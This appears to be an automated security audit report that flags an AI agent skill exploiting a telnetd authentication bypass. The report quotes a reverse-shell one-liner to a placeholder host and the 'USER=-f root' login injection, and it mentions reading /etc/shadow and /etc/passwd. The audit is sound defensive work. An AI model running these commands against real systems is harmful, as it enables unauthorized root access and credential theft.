inetutils-telnetd-exploit
Fail
Audited by Gen Agent Trust Hub on Apr 22, 2026
Risk Level: HIGHCOMMAND_EXECUTIONREMOTE_CODE_EXECUTIONDATA_EXFILTRATION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill includes explicit instructions and a payload for establishing a reverse shell (
bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1) to gain persistent remote access and control over a target system, as documented inreferences/cve-2026-24061-auth-bypass.md. - [COMMAND_EXECUTION]: The provided Python scripts and shell commands (
telnetd_cve_2026_24061.py) execute shell-level instructions usingsubprocess.run(shell=True)and string interpolation of user-supplied target IPs and commands, which is a high-risk pattern for local command injection. - [DATA_EXFILTRATION]: The skill provides automated commands specifically designed to read and exfiltrate sensitive system files from a target, such as
/etc/shadowand/etc/passwd. - [COMMAND_EXECUTION]: The core functionality relies on environment variable manipulation (
USER="-f root") to perform argument injection into theloginprocess, bypassing standard authentication to achieve unauthorized root privilege escalation on remote systems.
Recommendations
- AI detected serious security threats
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